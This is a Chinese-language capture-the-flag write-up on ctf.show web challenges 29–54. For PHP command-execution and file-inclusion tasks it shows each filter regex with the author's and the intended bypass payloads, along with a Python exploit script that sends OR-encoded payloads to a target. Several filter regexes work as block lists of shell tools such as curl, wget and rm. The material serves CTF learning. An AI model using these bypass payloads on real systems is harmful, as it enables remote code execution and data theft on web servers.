0x00 web29
if(!preg_match("/flag/i", $c)){
- 只过滤flag【不区分大小写】
?c=system('ls');
?c=system('cat `ls`');
- 预期解:
echo `nl fl''ag.php`;
0x01 web30
if(!preg_match("/flag|system|php/i", $c)){
- 过滤了文件名、
一个系统命令执行函数、php
【不区分大小写】 ?c=passthru('ls');
?c=passthru("nl fl''ag.ph''p");
- 预期解:
echo `nl fl''ag.p''hp`;
0x02 web31
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
- 过滤了文件名、system、php、
cat、sort、shell、点号、空格、单引号
【不区分大小写】
sort的过滤是
因为usort()/uasort()?似乎是因为用sort代替cat
?c=passthru("ls");
?c=passthru("nl%20`ls`");
为什么失败?是因为后端URL解码后,还是空格,然后被过滤【实践后:】?c=passthru("nl%09`ls`");
- 预期解:
show_source(next(array_reverse(scandir(pos(localeconv())))));
【无参数RCE】
0x03 web32
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、
反引号、echo、;、左括号
【不区分大小写】 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
0x04 web33
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、
双引号
【不区分大小写】 ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php
【闭合后在重新写个PHP,感觉有点多余】
0x05 web34
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、
冒号
、双引号【不区分大小写】
这里过滤冒号,那么没过滤冒号时的payload是怎么样的
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
【好家伙,和我的一模一样】
0x06 web35
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、
左尖括号、等于号
【不区分大小写】 - 额,好像没区别
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
0x07 web36
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
- 过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号、左尖括号、等于号、
数字
【不区分大小写】 c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
- 预期解:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
【好家伙,又和我的一模一样】
0x08 web37
- 居然换了,这题在考文件包含??
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
- 预期解:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码 或者通过包含日志文件拿shell
0x09 web38
if(!preg_match("/flag|php|file/i", $c)){
?过滤了file,之前是怎么用file读取的?
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=
- 预期解:
nginx的日志文件/var/log/nginx/access.log data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 查看源代码 或者通过包含日志文件拿shell
0x0A web39
if(!preg_match("/flag/i", $c)){
include($c.".php");
- 还是利用data
?c=data:text/plain,<?php system('cat f*')?>
$flag="flag{db13407e-87cf-4664-9938-25af2a20419b}";.php
后面显示.php
,是因为<?php ?>.php
因为前面的php语句已经闭合了,.php
会被当成html页面直接显示在页面上
0x0B web40
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
- 不会,居然过滤的是中文括号???
- 用无参数RCE【顺便复习下】
- payload:
- ①
?c=print_r(scandir(pos(localeconv())));
读目录
?c=echo(readfile(array_rand(array_flip(scandir(pos(localeconv()))))));
随机读取出文件【多发送几次即可】 - ②
?c=eval(end(current(get_defined_vars())));&b=highlight_file('flag.php');
- ③
?c=eval((next(array_reverse(getallheaders()))));
User-Agent: highlight_file('flag.php');
Content-Length: 2
Content-Type:
22
-
④
show_source(next(array_reverse(scandir(pos(localeconv())))));
-
⑤
?c=eval(array_rand(array_flip(getallheaders())));
-
hint中用了Session,但hex2bin被过滤,没找到其他方式读取flag.php
-
预期解:
show_source(next(array_reverse(scandir(pos(localeconv())))));
0x0C web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
- 过滤数字、字母、^、+、~、$、[、]、{、}、&、-【不区分大小写】
&
按位与|
按位或^
按位异或~
取反 为四大位运算符,其中按位异|
没有过滤,过滤的字符是防异或、自增和取反构造字符- 参考博客中的脚本:
生成可用字符的集合
:
思路是从所有字符(ASCII[0-255])中排除掉被过滤的,然后在判断或运算得到的字符是否为可见字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);#dechex() 函数把十进制转换为十六进制。
}#dechex([0-15])的值为一个字符,加上0,变0[0-f];256=16*16;刚好ff=255
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}#以上为获取2组范围为[00-ff]的16进制数
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";#剔除符合正则表达式的字符
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
//ASCII[32-126]应该是可见字符
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);#写入文件
fclose($myfile);
?>
# -*- coding: utf-8 -*-
import requests
import urllib
import sys
import os
#os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(sys.argv)!=2):#sys.argv[0]为程序本身,之后的值才是参数;sys.argv是个列表
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=sys.argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
print(output)
return(output)
''' #函数的作用:读取输入的值【input()】,从rce_or.txt中依次寻找出对应的值,并将位运算的前值赋予s1、s2 s1、s2用括号包裹起来,为的是动态执行函数【故PHP>7】 '''
while True:#Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)#将param进行URL解码
}
print(data)
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
- 分析学习了一波脚本,这位师傅yyds
- 按脚本的意思执行即可,我是用system和ls;system和cat flag.php来获取flag
0x0D web42
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
>/dev/null 2>&1
的意思是将命令的输出丢弃,错误输出也丢弃;详细介绍见参考文章- 那么为了有输出,应该截断后面
- payload:
?c=cat flag;
也可以用%0a
【换行符URL】%26
【&URL】%26%26
和||
sed -n '1,75p' flag.php||
?c=tail -n +15 flag.php||
orhead -n +15 flag.php||
or…cut -c- flag.php||
more flag.php||
orless flag.php||
strings flag.php||
od -bc flag.php||
awk '{print $1,$15}' flag.php||
%0d 回车符
失败,不知道为什么
0x0E web43
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
- 上一题中随便挑一个即可
- payload:
?c=tac flag.php%26
- 预期解:
nl flag.php%0a
0x0F web44
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
- payload:
c\at fla\g.php%26
- 预期解:
nl fla*.php%0a
0x10 web45
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
- payload:
c\at${IFS}fla\g.php%26
在bash下,可以用以下字符代替空格
< 、<>、{ }、%20(空格URL)、%09(tabURL)、$IFS$9、 ${IFS}、$IFS
- 预期解:
echo$IFS`tac$IFS*`%0A
0x11 web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、
$、*【不区分大小写】 搞错了\\$
匹配的是以\
结束- 一番实验后发现PHP中
\\$
匹配的是$
,有点神奇,没查到相关资料,待 - payload:
?c=tac<fla\g.php%26
- 预期解:
nl<fla''g.php||
0x12 web47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、
more、less、head、sort、tail
【不区分大小写】 - 笔记中居然没有sort【用于将文本文件内容加以排序】,长见识了
- payload:
?c=sor\t<fla\g.php%26
- 预期解:
nl<fla''g.php||
0x13 web48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、
sed、cut、awk、strings、od、curl、`
【不区分大小写】 - payload:
?c=sor\t<fla\g.php%26
看了半天,不知道curl怎么用来读取文件?
- 预期解:
nl<fla''g.php||
0x14 web49
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、
%
【不区分大小写】 - payload:
?c=tac<fla\g.php||
- 预期解:
nl<fla''g.php||
0x15 web50
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、
\x09【制表符】、\x26【&】
【不区分大小写】 - payload:
?c=tac<fla\g.php||
- 预期解:
nl<fla''g.php||
0x16 web51
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、
tac
、awk、strings、od、curl、`、\x09【制表符】、\x26【&】【不区分大小写】 - payload:
?c=ta\c<fla\g.php||
- 预期解:
nl<fla''g.php||
0x17 web52
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
- 过滤 ;、cat、flag、空格、数字、
$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>
【不区分大小写】 ?c={nl,fla\g.php}||
为什么不行??- 后来发现
$
居然被取消过滤?? - payload:
?c=ta\c${IFS}/fla\g||
- 预期解:
nl$IFS/fla''g||
0x18 web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
curl和wegt不知道如何读取文件??
- 过滤 ;、cat、flag、空格、数字、
$、*、more、wegt
、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】 - payload:
?c=ta\c${IFS}fla\g.php
- 预期解:
c''at${IFS}fla''g.p''hp
0x19 web54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
- 过滤 ;、cat、flag、空格、数字、
$、*、more、wegt、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、nl、scp、rm
、`、\x09【制表符】、\x26【&】、<、>【不区分大小写】【点号匹配除换行符外的字符】 echo${IFS}${SHELLOPTS}
为什么无回显?- payload:
/bin/?at${IFS}f???.php
- 预期解:
/bin/?at${IFS}f???????
文章评论